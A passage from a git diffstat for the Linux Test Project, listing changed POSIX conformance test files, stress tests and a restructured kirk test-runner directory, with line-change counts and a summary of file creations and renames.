.../conformance/interfaces/sigaction/28-19.c | 2 +- .../conformance/interfaces/sigaction/28-2.c | 2 +- .../conformance/interfaces/sigaction/28-20.c | 2 +- .../conformance/interfaces/sigaction/28-21.c | 2 +- .../conformance/interfaces/sigaction/28-22.c | 2 +- .../conformance/interfaces/sigaction/28-23.c | 2 +- .../conformance/interfaces/sigaction/28-24.c | 2 +- .../conformance/interfaces/sigaction/28-25.c | 2 +- .../conformance/interfaces/sigaction/28-26.c | 2 +- .../conformance/interfaces/sigaction/28-3.c | 2 +- .../conformance/interfaces/sigaction/28-4.c | 2 +- .../conformance/interfaces/sigaction/28-5.c | 2 +- .../conformance/interfaces/sigaction/28-6.c | 2 +- .../conformance/interfaces/sigaction/28-7.c | 2 +- .../conformance/interfaces/sigaction/28-8.c | 2 +- .../conformance/interfaces/sigaction/28-9.c | 2 +- .../conformance/interfaces/sigaction/29-1.c | 2 +- .../conformance/interfaces/sigaction/3-1.c | 2 +- .../conformance/interfaces/sigaction/3-10.c | 2 +- .../conformance/interfaces/sigaction/3-11.c | 2 +- .../conformance/interfaces/sigaction/3-12.c | 2 +- .../conformance/interfaces/sigaction/3-13.c | 2 +- .../conformance/interfaces/sigaction/3-14.c | 2 +- .../conformance/interfaces/sigaction/3-15.c | 2 +- .../conformance/interfaces/sigaction/3-16.c | 2 +- .../conformance/interfaces/sigaction/3-17.c | 2 +- .../conformance/interfaces/sigaction/3-18.c | 2 +- .../conformance/interfaces/sigaction/3-19.c | 2 +- .../conformance/interfaces/sigaction/3-2.c | 2 +- .../conformance/interfaces/sigaction/3-20.c | 2 +- .../conformance/interfaces/sigaction/3-21.c | 2 +- .../conformance/interfaces/sigaction/3-22.c | 2 +- .../conformance/interfaces/sigaction/3-23.c | 2 +- .../conformance/interfaces/sigaction/3-24.c | 2 +- .../conformance/interfaces/sigaction/3-25.c | 2 +- .../conformance/interfaces/sigaction/3-26.c | 2 +- .../conformance/interfaces/sigaction/3-3.c | 2 +- .../conformance/interfaces/sigaction/3-4.c | 2 +- .../conformance/interfaces/sigaction/3-5.c | 2 +- .../conformance/interfaces/sigaction/3-6.c | 2 +- .../conformance/interfaces/sigaction/3-7.c | 2 +- .../conformance/interfaces/sigaction/3-8.c | 2 +- .../conformance/interfaces/sigaction/3-9.c | 2 +- .../conformance/interfaces/sigaction/30-1.c | 2 +- .../conformance/interfaces/sigaction/4-1.c | 2 +- .../conformance/interfaces/sigaction/4-10.c | 2 +- .../conformance/interfaces/sigaction/4-100.c | 2 +- .../conformance/interfaces/sigaction/4-101.c | 2 +- .../conformance/interfaces/sigaction/4-102.c | 2 +- .../conformance/interfaces/sigaction/4-103.c | 2 +- .../conformance/interfaces/sigaction/4-104.c | 2 +- .../conformance/interfaces/sigaction/4-11.c | 2 +- .../conformance/interfaces/sigaction/4-12.c | 2 +- .../conformance/interfaces/sigaction/4-13.c | 2 +- .../conformance/interfaces/sigaction/4-14.c | 2 +- .../conformance/interfaces/sigaction/4-15.c | 2 +- .../conformance/interfaces/sigaction/4-16.c | 2 +- .../conformance/interfaces/sigaction/4-17.c | 2 +- .../conformance/interfaces/sigaction/4-18.c | 2 +- .../conformance/interfaces/sigaction/4-19.c | 2 +- .../conformance/interfaces/sigaction/4-2.c | 2 +- .../conformance/interfaces/sigaction/4-20.c | 2 +- .../conformance/interfaces/sigaction/4-21.c | 2 +- .../conformance/interfaces/sigaction/4-22.c | 2 +- .../conformance/interfaces/sigaction/4-23.c | 2 +- .../conformance/interfaces/sigaction/4-24.c | 2 +- .../conformance/interfaces/sigaction/4-25.c | 2 +- .../conformance/interfaces/sigaction/4-26.c | 2 +- .../conformance/interfaces/sigaction/4-27.c | 2 +- .../conformance/interfaces/sigaction/4-28.c | 2 +- .../conformance/interfaces/sigaction/4-29.c | 2 +- .../conformance/interfaces/sigaction/4-3.c | 2 +- .../conformance/interfaces/sigaction/4-30.c | 2 +- .../conformance/interfaces/sigaction/4-31.c | 2 +- .../conformance/interfaces/sigaction/4-32.c | 2 +- .../conformance/interfaces/sigaction/4-33.c | 2 +- .../conformance/interfaces/sigaction/4-34.c | 2 +- .../conformance/interfaces/sigaction/4-35.c | 2 +- .../conformance/interfaces/sigaction/4-36.c | 2 +- .../conformance/interfaces/sigaction/4-37.c | 2 +- .../conformance/interfaces/sigaction/4-38.c | 2 +- .../conformance/interfaces/sigaction/4-39.c | 2 +- .../conformance/interfaces/sigaction/4-4.c | 2 +- .../conformance/interfaces/sigaction/4-40.c | 2 +- .../conformance/interfaces/sigaction/4-41.c | 2 +- .../conformance/interfaces/sigaction/4-42.c | 2 +- .../conformance/interfaces/sigaction/4-43.c | 2 +- .../conformance/interfaces/sigaction/4-44.c | 2 +- .../conformance/interfaces/sigaction/4-45.c | 2 +- .../conformance/interfaces/sigaction/4-46.c | 2 +- .../conformance/interfaces/sigaction/4-47.c | 2 +- .../conformance/interfaces/sigaction/4-48.c | 2 +- .../conformance/interfaces/sigaction/4-49.c | 2 +- .../conformance/interfaces/sigaction/4-5.c | 2 +- .../conformance/interfaces/sigaction/4-50.c | 2 +- .../conformance/interfaces/sigaction/4-51.c | 2 +- .../conformance/interfaces/sigaction/4-52.c | 2 +- .../conformance/interfaces/sigaction/4-53.c | 2 +- .../conformance/interfaces/sigaction/4-54.c | 2 +- .../conformance/interfaces/sigaction/4-55.c | 2 +- .../conformance/interfaces/sigaction/4-56.c | 2 +- .../conformance/interfaces/sigaction/4-57.c | 2 +- .../conformance/interfaces/sigaction/4-58.c | 2 +- .../conformance/interfaces/sigaction/4-59.c | 2 +- .../conformance/interfaces/sigaction/4-6.c | 2 +- .../conformance/interfaces/sigaction/4-60.c | 2 +- .../conformance/interfaces/sigaction/4-61.c | 2 +- .../conformance/interfaces/sigaction/4-62.c | 2 +- .../conformance/interfaces/sigaction/4-63.c | 2 +- .../conformance/interfaces/sigaction/4-64.c | 2 +- .../conformance/interfaces/sigaction/4-65.c | 2 +- .../conformance/interfaces/sigaction/4-66.c | 2 +- .../conformance/interfaces/sigaction/4-67.c | 2 +- .../conformance/interfaces/sigaction/4-68.c | 2 +- .../conformance/interfaces/sigaction/4-69.c | 2 +- .../conformance/interfaces/sigaction/4-7.c | 2 +- .../conformance/interfaces/sigaction/4-70.c | 2 +- .../conformance/interfaces/sigaction/4-71.c | 2 +- .../conformance/interfaces/sigaction/4-72.c | 2 +- .../conformance/interfaces/sigaction/4-73.c | 2 +- .../conformance/interfaces/sigaction/4-74.c | 2 +- .../conformance/interfaces/sigaction/4-75.c | 2 +- .../conformance/interfaces/sigaction/4-76.c | 2 +- .../conformance/interfaces/sigaction/4-77.c | 2 +- .../conformance/interfaces/sigaction/4-78.c | 2 +- .../conformance/interfaces/sigaction/4-79.c | 2 +- .../conformance/interfaces/sigaction/4-8.c | 2 +- .../conformance/interfaces/sigaction/4-80.c | 2 +- .../conformance/interfaces/sigaction/4-81.c | 2 +- .../conformance/interfaces/sigaction/4-82.c | 2 +- .../conformance/interfaces/sigaction/4-83.c | 2 +- .../conformance/interfaces/sigaction/4-84.c | 2 +- .../conformance/interfaces/sigaction/4-85.c | 2 +- .../conformance/interfaces/sigaction/4-86.c | 2 +- .../conformance/interfaces/sigaction/4-87.c | 2 +- .../conformance/interfaces/sigaction/4-88.c | 2 +- .../conformance/interfaces/sigaction/4-89.c | 2 +- .../conformance/interfaces/sigaction/4-9.c | 2 +- .../conformance/interfaces/sigaction/4-90.c | 2 +- .../conformance/interfaces/sigaction/4-91.c | 2 +- .../conformance/interfaces/sigaction/4-92.c | 2 +- .../conformance/interfaces/sigaction/4-93.c | 2 +- .../conformance/interfaces/sigaction/4-94.c | 2 +- .../conformance/interfaces/sigaction/4-95.c | 2 +- .../conformance/interfaces/sigaction/4-96.c | 2 +- .../conformance/interfaces/sigaction/4-97.c | 2 +- .../conformance/interfaces/sigaction/4-98.c | 2 +- .../conformance/interfaces/sigaction/4-99.c | 2 +- .../conformance/interfaces/sigaction/6-1.c | 2 +- .../conformance/interfaces/sigaction/6-10.c | 2 +- .../conformance/interfaces/sigaction/6-11.c | 2 +- .../conformance/interfaces/sigaction/6-12.c | 2 +- .../conformance/interfaces/sigaction/6-13.c | 2 +- .../conformance/interfaces/sigaction/6-14.c | 2 +- .../conformance/interfaces/sigaction/6-15.c | 2 +- .../conformance/interfaces/sigaction/6-16.c | 2 +- .../conformance/interfaces/sigaction/6-17.c | 2 +- .../conformance/interfaces/sigaction/6-18.c | 2 +- .../conformance/interfaces/sigaction/6-19.c | 2 +- .../conformance/interfaces/sigaction/6-2.c | 2 +- .../conformance/interfaces/sigaction/6-20.c | 2 +- .../conformance/interfaces/sigaction/6-21.c | 2 +- .../conformance/interfaces/sigaction/6-22.c | 2 +- .../conformance/interfaces/sigaction/6-23.c | 2 +- .../conformance/interfaces/sigaction/6-24.c | 2 +- .../conformance/interfaces/sigaction/6-25.c | 2 +- .../conformance/interfaces/sigaction/6-26.c | 2 +- .../conformance/interfaces/sigaction/6-3.c | 2 +- .../conformance/interfaces/sigaction/6-4.c | 2 +- .../conformance/interfaces/sigaction/6-5.c | 2 +- .../conformance/interfaces/sigaction/6-6.c | 2 +- .../conformance/interfaces/sigaction/6-7.c | 2 +- .../conformance/interfaces/sigaction/6-8.c | 2 +- .../conformance/interfaces/sigaction/6-9.c | 2 +- .../conformance/interfaces/sigaction/8-1.c | 2 +- .../conformance/interfaces/sigaction/8-10.c | 2 +- .../conformance/interfaces/sigaction/8-11.c | 2 +- .../conformance/interfaces/sigaction/8-12.c | 2 +- .../conformance/interfaces/sigaction/8-13.c | 2 +- .../conformance/interfaces/sigaction/8-14.c | 2 +- .../conformance/interfaces/sigaction/8-15.c | 2 +- .../conformance/interfaces/sigaction/8-16.c | 2 +- .../conformance/interfaces/sigaction/8-17.c | 2 +- .../conformance/interfaces/sigaction/8-18.c | 2 +- .../conformance/interfaces/sigaction/8-19.c | 2 +- .../conformance/interfaces/sigaction/8-2.c | 2 +- .../conformance/interfaces/sigaction/8-20.c | 2 +- .../conformance/interfaces/sigaction/8-21.c | 2 +- .../conformance/interfaces/sigaction/8-22.c | 2 +- .../conformance/interfaces/sigaction/8-23.c | 2 +- .../conformance/interfaces/sigaction/8-24.c | 2 +- .../conformance/interfaces/sigaction/8-25.c | 2 +- .../conformance/interfaces/sigaction/8-26.c | 2 +- .../conformance/interfaces/sigaction/8-3.c | 2 +- .../conformance/interfaces/sigaction/8-4.c | 2 +- .../conformance/interfaces/sigaction/8-5.c | 2 +- .../conformance/interfaces/sigaction/8-6.c | 2 +- .../conformance/interfaces/sigaction/8-7.c | 2 +- .../conformance/interfaces/sigaction/8-8.c | 2 +- .../conformance/interfaces/sigaction/8-9.c | 2 +- .../conformance/interfaces/sigaction/9-1.c | 2 +- .../sigaction/templates/template_1-1.in | 2 +- .../sigaction/templates/template_12-1.in | 2 +- .../sigaction/templates/template_12-2.in | 2 +- .../sigaction/templates/template_13-1.in | 2 +- .../sigaction/templates/template_16-1.in | 2 +- .../sigaction/templates/template_17-1.in | 2 +- .../sigaction/templates/template_18-1.in | 2 +- .../sigaction/templates/template_19-1.in | 2 +- .../sigaction/templates/template_2-1.in | 2 +- .../sigaction/templates/template_22-1.in | 2 +- .../sigaction/templates/template_23-1.in | 2 +- .../sigaction/templates/template_25-1.in | 2 +- .../sigaction/templates/template_28-1.in | 2 +- .../sigaction/templates/template_3-1.in | 2 +- .../sigaction/templates/template_4-1.in | 2 +- .../sigaction/templates/template_4-2.in | 2 +- .../sigaction/templates/template_4-3.in | 2 +- .../sigaction/templates/template_4-4.in | 2 +- .../sigaction/templates/template_6-1.in | 2 +- .../sigaction/templates/template_8-1.in | 2 +- .../conformance/interfaces/sigaddset/1-1.c | 2 +- .../conformance/interfaces/sigaddset/1-2.c | 2 +- .../conformance/interfaces/sigaddset/1-3.c | 2 +- .../conformance/interfaces/sigaddset/2-1.c | 2 +- .../conformance/interfaces/sigaddset/4-1.c | 2 +- .../conformance/interfaces/sigaltstack/1-1.c | 2 +- .../conformance/interfaces/sigaltstack/10-1.c | 2 +- .../conformance/interfaces/sigaltstack/11-1.c | 2 +- .../conformance/interfaces/sigaltstack/12-1.c | 2 +- .../conformance/interfaces/sigaltstack/2-1.c | 2 +- .../conformance/interfaces/sigaltstack/3-1.c | 6 +- .../conformance/interfaces/sigaltstack/5-1.c | 2 +- .../conformance/interfaces/sigaltstack/6-1.c | 2 +- .../conformance/interfaces/sigaltstack/7-1.c | 2 +- .../conformance/interfaces/sigaltstack/8-1.c | 2 +- .../conformance/interfaces/sigaltstack/9-1.c | 2 +- .../conformance/interfaces/sigdelset/1-1.c | 2 +- .../conformance/interfaces/sigdelset/1-2.c | 2 +- .../conformance/interfaces/sigdelset/1-3.c | 2 +- .../conformance/interfaces/sigdelset/1-4.c | 2 +- .../conformance/interfaces/sigdelset/4-1.c | 2 +- .../conformance/interfaces/sigemptyset/1-1.c | 2 +- .../conformance/interfaces/sigemptyset/2-1.c | 2 +- .../conformance/interfaces/sigfillset/1-1.c | 2 +- .../conformance/interfaces/sigfillset/2-1.c | 2 +- .../conformance/interfaces/sighold/1-1.c | 2 +- .../conformance/interfaces/sighold/2-1.c | 2 +- .../conformance/interfaces/sighold/3-1.c | 2 +- .../conformance/interfaces/sigignore/1-1.c | 2 +- .../conformance/interfaces/sigignore/4-1.c | 2 +- .../conformance/interfaces/sigignore/5-1.c | 2 +- .../conformance/interfaces/sigignore/6-1.c | 2 +- .../conformance/interfaces/sigignore/6-2.c | 2 +- .../conformance/interfaces/sigismember/3-1.c | 2 +- .../conformance/interfaces/sigismember/4-1.c | 2 +- .../conformance/interfaces/sigismember/5-1.c | 2 +- .../conformance/interfaces/signal/1-1.c | 2 +- .../conformance/interfaces/signal/2-1.c | 2 +- .../conformance/interfaces/signal/3-1.c | 2 +- .../conformance/interfaces/signal/5-1.c | 2 +- .../conformance/interfaces/signal/6-1.c | 2 +- .../conformance/interfaces/signal/7-1.c | 2 +- .../conformance/interfaces/sigpause/1-1.c | 8 +- .../conformance/interfaces/sigpause/1-2.c | 6 +- .../conformance/interfaces/sigpause/2-1.c | 17 +- .../conformance/interfaces/sigpause/3-1.c | 6 +- .../conformance/interfaces/sigpause/4-1.c | 4 +- .../conformance/interfaces/sigpending/1-1.c | 2 +- .../conformance/interfaces/sigpending/1-2.c | 2 +- .../conformance/interfaces/sigpending/1-3.c | 2 +- .../conformance/interfaces/sigpending/2-1.c | 2 +- .../conformance/interfaces/sigprocmask/10-1.c | 2 +- .../conformance/interfaces/sigprocmask/12-1.c | 2 +- .../conformance/interfaces/sigprocmask/15-1.c | 2 +- .../conformance/interfaces/sigprocmask/17-1.c | 2 +- .../conformance/interfaces/sigprocmask/4-1.c | 2 +- .../conformance/interfaces/sigprocmask/5-1.c | 2 +- .../conformance/interfaces/sigprocmask/6-1.c | 2 +- .../conformance/interfaces/sigprocmask/7-1.c | 2 +- .../conformance/interfaces/sigprocmask/8-1.c | 2 +- .../conformance/interfaces/sigprocmask/8-2.c | 2 +- .../conformance/interfaces/sigprocmask/8-3.c | 2 +- .../conformance/interfaces/sigprocmask/9-1.c | 2 +- .../conformance/interfaces/sigqueue/1-1.c | 2 +- .../conformance/interfaces/sigqueue/10-1.c | 2 +- .../conformance/interfaces/sigqueue/11-1.c | 2 +- .../conformance/interfaces/sigqueue/12-1.c | 2 +- .../conformance/interfaces/sigqueue/2-1.c | 2 +- .../conformance/interfaces/sigqueue/2-2.c | 2 +- .../conformance/interfaces/sigqueue/3-1.c | 2 +- .../conformance/interfaces/sigqueue/4-1.c | 2 +- .../conformance/interfaces/sigqueue/5-1.c | 2 +- .../conformance/interfaces/sigqueue/6-1.c | 2 +- .../conformance/interfaces/sigqueue/7-1.c | 2 +- .../conformance/interfaces/sigqueue/8-1.c | 2 +- .../conformance/interfaces/sigqueue/9-1.c | 2 +- .../conformance/interfaces/sigrelse/1-1.c | 2 +- .../conformance/interfaces/sigrelse/2-1.c | 2 +- .../conformance/interfaces/sigrelse/3-1.c | 2 +- .../conformance/interfaces/sigset/1-1.c | 2 +- .../conformance/interfaces/sigset/10-1.c | 2 +- .../conformance/interfaces/sigset/2-1.c | 2 +- .../conformance/interfaces/sigset/3-1.c | 2 +- .../conformance/interfaces/sigset/4-1.c | 2 +- .../conformance/interfaces/sigset/5-1.c | 2 +- .../conformance/interfaces/sigset/6-1.c | 2 +- .../conformance/interfaces/sigset/7-1.c | 2 +- .../conformance/interfaces/sigset/8-1.c | 2 +- .../conformance/interfaces/sigset/9-1.c | 2 +- .../conformance/interfaces/sigsuspend/1-1.c | 2 +- .../conformance/interfaces/sigsuspend/3-1.c | 2 +- .../conformance/interfaces/sigsuspend/4-1.c | 2 +- .../conformance/interfaces/sigsuspend/6-1.c | 2 +- .../conformance/interfaces/sigtimedwait/1-1.c | 2 +- .../conformance/interfaces/sigtimedwait/2-1.c | 2 +- .../conformance/interfaces/sigtimedwait/4-1.c | 2 +- .../conformance/interfaces/sigtimedwait/5-1.c | 2 +- .../conformance/interfaces/sigtimedwait/6-1.c | 2 +- .../conformance/interfaces/sigwait/1-1.c | 2 +- .../conformance/interfaces/sigwait/2-1.c | 2 +- .../conformance/interfaces/sigwait/3-1.c | 2 +- .../conformance/interfaces/sigwait/4-1.c | 2 +- .../conformance/interfaces/sigwait/6-1.c | 2 +- .../conformance/interfaces/sigwait/6-2.c | 2 +- .../conformance/interfaces/sigwait/7-1.c | 2 +- .../conformance/interfaces/sigwait/8-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/1-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/2-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/3-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/5-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/6-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/7-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/8-1.c | 2 +- .../conformance/interfaces/sigwaitinfo/9-1.c | 2 +- .../conformance/interfaces/strchr/1-1.c | 2 +- .../conformance/interfaces/strcpy/1-1.c | 2 +- .../conformance/interfaces/strftime/1-1.c | 2 +- .../conformance/interfaces/strftime/2-1.c | 2 +- .../conformance/interfaces/strftime/3-1.c | 2 +- .../conformance/interfaces/strlen/1-1.c | 2 +- .../conformance/interfaces/strncpy/1-1.c | 2 +- .../conformance/interfaces/strncpy/2-1.c | 2 +- .../interfaces/testfrmw/threads_scenarii.c | 2 +- .../conformance/interfaces/time/1-1.c | 2 +- .../conformance/interfaces/timer_create/1-1.c | 2 +- .../interfaces/timer_create/10-1.c | 2 +- .../interfaces/timer_create/11-1.c | 2 +- .../interfaces/timer_create/16-1.c | 2 +- .../conformance/interfaces/timer_create/3-1.c | 2 +- .../conformance/interfaces/timer_create/7-1.c | 2 +- .../conformance/interfaces/timer_create/8-1.c | 2 +- .../conformance/interfaces/timer_create/9-1.c | 2 +- .../timer_create/speculative/15-1.c | 2 +- .../interfaces/timer_create/speculative/2-1.c | 2 +- .../interfaces/timer_create/speculative/5-1.c | 2 +- .../conformance/interfaces/timer_delete/1-1.c | 2 +- .../conformance/interfaces/timer_delete/1-2.c | 2 +- .../interfaces/timer_delete/speculative/5-1.c | 2 +- .../interfaces/timer_delete/speculative/5-2.c | 2 +- .../interfaces/timer_getoverrun/1-1.c | 2 +- .../interfaces/timer_getoverrun/2-1.c | 2 +- .../interfaces/timer_getoverrun/2-2.c | 2 +- .../interfaces/timer_getoverrun/2-3.c | 2 +- .../timer_getoverrun/speculative/6-1.c | 2 +- .../timer_getoverrun/speculative/6-2.c | 2 +- .../timer_getoverrun/speculative/6-3.c | 2 +- .../interfaces/timer_gettime/1-1.c | 2 +- .../interfaces/timer_gettime/1-2.c | 2 +- .../interfaces/timer_gettime/1-3.c | 2 +- .../interfaces/timer_gettime/1-4.c | 2 +- .../interfaces/timer_gettime/2-1.c | 2 +- .../interfaces/timer_gettime/2-2.c | 2 +- .../interfaces/timer_gettime/3-1.c | 2 +- .../timer_gettime/speculative/6-1.c | 2 +- .../timer_gettime/speculative/6-2.c | 2 +- .../timer_gettime/speculative/6-3.c | 2 +- .../interfaces/timer_settime/1-1.c | 2 +- .../interfaces/timer_settime/1-2.c | 2 +- .../interfaces/timer_settime/13-1.c | 2 +- .../interfaces/timer_settime/2-1.c | 2 +- .../interfaces/timer_settime/3-1.c | 2 +- .../interfaces/timer_settime/3-2.c | 2 +- .../interfaces/timer_settime/3-3.c | 2 +- .../interfaces/timer_settime/5-1.c | 2 +- .../interfaces/timer_settime/5-2.c | 2 +- .../interfaces/timer_settime/5-3.c | 2 +- .../interfaces/timer_settime/6-1.c | 2 +- .../interfaces/timer_settime/8-1.c | 2 +- .../interfaces/timer_settime/8-2.c | 2 +- .../interfaces/timer_settime/8-3.c | 2 +- .../interfaces/timer_settime/8-4.c | 2 +- .../interfaces/timer_settime/9-1.c | 2 +- .../interfaces/timer_settime/9-2.c | 2 +- .../timer_settime/speculative/12-1.c | 2 +- .../timer_settime/speculative/12-2.c | 2 +- .../timer_settime/speculative/12-3.c | 2 +- .../functional/mqueues/send_rev_1.c | 2 +- .../functional/mqueues/send_rev_2.c | 2 +- .../functional/semaphores/sem_conpro.c | 2 +- .../functional/semaphores/sem_lock.c | 2 +- .../functional/semaphores/sem_philosopher.c | 2 +- .../functional/semaphores/sem_readerwriter.c | 2 +- .../semaphores/sem_sleepingbarber.c | 2 +- .../threads/condvar/pthread_cond_wait_1.c | 2 +- .../threads/condvar/pthread_cond_wait_2.c | 2 +- .../functional/threads/schedule/1-1.c | 2 +- .../functional/threads/schedule/1-2.c | 2 +- .../functional/timers/clocks/invaliddates.c | 2 +- .../functional/timers/clocks/twopsetclock.c | 2 +- .../functional/timers/timers/twoevtimers.c | 2 +- .../functional/timers/timers/twoptimers.c | 2 +- .../open_posix_testsuite/include/aio_test.h | 94 ++ .../open_posix_testsuite/include/clock.h | 86 + .../open_posix_testsuite/lib/Makefile | 18 + .../open_posix_testsuite/lib/common.c | 13 + .../scripts/generate-makefiles.sh | 10 +- .../stress/mqueues/multi_send_rev_1.c | 2 +- .../stress/mqueues/multi_send_rev_2.c | 2 +- .../stress/semaphores/multi_con_pro.c | 2 +- .../stress/signals/sigismember_stress_1.c | 2 +- .../stress/threads/fork/s-c1.c | 2 +- .../stress/threads/helper.c | 2 +- .../stress/threads/pthread_cancel/stress.c | 2 +- .../stress/threads/pthread_cond_init/s-c.c | 4 +- .../stress/threads/pthread_cond_init/stress.c | 2 +- .../threads/pthread_cond_timedwait/s-c.c | 2 +- .../threads/pthread_cond_timedwait/stress1.c | 2 +- .../threads/pthread_cond_timedwait/stress2.c | 2 +- .../stress/threads/pthread_cond_wait/stress.c | 2 +- .../threads/pthread_cond_wait/stress1.c | 2 +- .../threads/pthread_cond_wait/stress2.c | 2 +- .../stress/threads/pthread_create/s-c1.c | 2 +- .../threads/pthread_create/threads_scenarii.c | 2 +- .../stress/threads/pthread_exit/stress.c | 4 +- .../threads/pthread_exit/threads_scenarii.c | 2 +- .../threads/pthread_getschedparam/stress.c | 2 +- .../stress/threads/pthread_kill/stress.c | 2 +- .../stress/threads/pthread_mutex_init/s-c.c | 4 +- .../threads/pthread_mutex_init/stress.c | 2 +- .../stress/threads/pthread_mutex_lock/s-c1.c | 2 +- .../stress/threads/pthread_mutex_lock/s-c2.c | 2 +- .../threads/pthread_mutex_lock/stress.c | 2 +- .../threads/pthread_mutex_trylock/stress.c | 2 +- .../stress/threads/pthread_once/stress.c | 2 +- .../stress/threads/pthread_self/stress.c | 2 +- .../threads/pthread_self/threads_scenarii.c | 2 +- .../stress/threads/sem_getvalue/stress.c | 2 +- .../stress/threads/sem_init/s-c1.c | 2 +- .../stress/threads/sem_open/s-c1.c | 2 +- .../realtime/func/pi-tests/testpi-5.c | 5 - .../func/sched_football/sched_football.c | 2 + ltp/testcases/realtime/lib/librttest.c | 4 - .../realtime/stress/pi-tests/testpi-3.c | 2 - ltp/testscripts/Readme_ROBind | 4 +- ltp/testscripts/lvmtest.sh | 2 +- ltp/tools/Makefile | 2 +- ltp/tools/apicmds/ltpapicmd.c | 4 +- ltp/tools/create-tarballs-metadata.sh | 2 +- .../create_dmesg_entries_for_each_test.awk | 35 - ...kernel_faults_in_loops_and_probability.awk | 40 - ltp/tools/create_valgrind_check.awk | 42 - ltp/tools/genhtml.pl | 249 --- ltp/tools/genload/.gitignore | 2 - ltp/tools/genload/Makefile | 31 - ltp/tools/genload/README | 72 - ltp/tools/genload/genload.c | 898 ---------- ltp/tools/genload/stress.c | 898 ---------- ltp/tools/html_report_header.txt | 56 - ltp/tools/insert_kernel_faults.sh | 53 - ltp/tools/kirk/Makefile | 10 +- ltp/tools/kirk/README.rst | 57 - ltp/tools/kirk/doc/developers/framework.rst | 12 - ltp/tools/kirk/doc/developers/sut.rst | 20 - ltp/tools/kirk/doc/requirements.txt | 5 - ltp/tools/kirk/{ => kirk-src}/.coveragerc | 0 .../.github/workflows/static.yml | 0 .../.github/workflows/test_ltx.yml | 8 +- .../.github/workflows/test_ssh.yml | 8 +- .../.github/workflows/tests.yml | 10 +- ltp/tools/kirk/{ => kirk-src}/.gitignore | 0 .../kirk/{ => kirk-src}/.readthedocs.yml | 7 +- ltp/tools/kirk/{ => kirk-src}/LICENSE | 0 ltp/tools/kirk/kirk-src/README.rst | 79 + ltp/tools/kirk/{ => kirk-src}/doc/.gitignore | 0 ltp/tools/kirk/{ => kirk-src}/doc/conf.py | 2 + .../kirk/kirk-src/doc/developers/plugins.rst | 173 ++ ltp/tools/kirk/{ => kirk-src}/doc/index.rst | 12 +- .../kirk-src/doc/maintainers/architecture.rst | 101 ++ .../doc/maintainers/release.rst | 13 +- .../kirk/{ => kirk-src}/doc/users/qemu.rst | 2 +- .../{ => kirk-src}/doc/users/quickstart.rst | 58 +- ltp/tools/kirk/{ => kirk-src}/kirk | 0 .../kirk/{ => kirk-src}/libkirk/__init__.py | 54 +- .../libkirk/channels}/ltx.py | 92 +- .../libkirk/channels/ltx_chan.py} | 87 +- .../libkirk/channels}/qemu.py | 121 +- .../libkirk/channels/shell.py} | 93 +- .../libkirk/channels}/ssh.py | 157 +- ltp/tools/kirk/kirk-src/libkirk/com.py | 214 +++ ltp/tools/kirk/{ => kirk-src}/libkirk/data.py | 60 +- .../kirk/{ => kirk-src}/libkirk/errors.py | 28 +- ltp/tools/kirk/{ => kirk-src}/libkirk/evt.py | 84 +- .../kirk/{ => kirk-src}/libkirk/export.py | 11 +- .../kirk/{ => kirk-src}/libkirk/framework.py | 64 +- ltp/tools/kirk/{ => kirk-src}/libkirk/io.py | 77 +- ltp/tools/kirk/{ => kirk-src}/libkirk/ltp.py | 444 ++--- ltp/tools/kirk/{ => kirk-src}/libkirk/main.py | 353 ++-- .../kirk/{ => kirk-src}/libkirk/monitor.py | 119 +- .../kirk/{ => kirk-src}/libkirk/plugin.py | 67 +- .../kirk/{ => kirk-src}/libkirk/results.py | 158 +- .../kirk/{ => kirk-src}/libkirk/scheduler.py | 153 +- .../kirk/{ => kirk-src}/libkirk/session.py | 198 +-- ltp/tools/kirk/{ => kirk-src}/libkirk/sut.py | 430 +++-- ltp/tools/kirk/kirk-src/libkirk/sut_base.py | 86 + .../kirk/{ => kirk-src}/libkirk/tempfile.py | 61 +- .../{ => kirk-src}/libkirk/tests/__init__.py | 0 .../kirk/kirk-src/libkirk/tests/conftest.py | 78 + .../libkirk/tests/test_com.py} | 214 +-- .../libkirk/tests/test_events.py | 10 - .../libkirk/tests/test_export.py | 4 +- .../{ => kirk-src}/libkirk/tests/test_io.py | 2 - .../{ => kirk-src}/libkirk/tests/test_ltp.py | 53 +- .../{ => kirk-src}/libkirk/tests/test_ltx.py | 52 +- .../{ => kirk-src}/libkirk/tests/test_main.py | 203 ++- .../libkirk/tests/test_monitor.py | 2 - .../kirk-src/libkirk/tests/test_plugin.py | 36 + .../{ => kirk-src}/libkirk/tests/test_qemu.py | 105 +- .../libkirk/tests/test_scheduler.py | 41 +- .../libkirk/tests/test_session.py | 236 ++- .../kirk/kirk-src/libkirk/tests/test_shell.py | 65 + .../{ => kirk-src}/libkirk/tests/test_ssh.py | 118 +- .../kirk/kirk-src/libkirk/tests/test_sut.py | 135 ++ .../libkirk/tests/test_tempfile.py | 0 .../libkirk/tests/test_types.py | 0 .../kirk/{ => kirk-src}/libkirk/types.py | 34 +- ltp/tools/kirk/{ => kirk-src}/libkirk/ui.py | 364 ++-- ltp/tools/kirk/{ => kirk-src}/pyproject.toml | 29 +- .../kirk/{ => kirk-src}/utils/json2html.py | 0 .../kirk/{ => kirk-src}/utils/json2logs.py | 0 ltp/tools/kirk/libkirk/tests/conftest.py | 197 --- ltp/tools/kirk/libkirk/tests/test_host.py | 44 - ltp/tools/kirk/libkirk/tests/test_plugin.py | 54 - ltp/tools/restore_kernel_faults_default.sh | 86 - ltp/tools/tag-release.sh | 2 +- .../func_tests/test_1_to_1_initmsg_connect.c | 4 +- ltp/utils/sctp/testlib/sctputil.h | 2 +- 2999 files changed, 16288 insertions(+), 55560 deletions(-) create mode 100644 ltp/.checkpatch.conf create mode 100644 ltp/.editorconfig delete mode 100644 ltp/TODO create mode 100644 ltp/doc/developers/ground_rules.rst create mode 100644 ltp/doc/developers/todo.rst create mode 100644 ltp/doc/users/cve_catalog.rst rename ltp/doc/users/{stats.rst => supported_syscalls.rst} (40%) create mode 100644 ltp/include/lapi/Makefile create mode 100644 ltp/include/lapi/aio_abi.h create mode 100644 ltp/include/lapi/tls.h delete mode 100644 ltp/include/old/old_resource.h rename ltp/include/old/{old_checkpoint.h => tso_checkpoint.h} (46%) rename ltp/include/old/{ltp_cpuid.h => tso_cpuid.h} (100%) rename 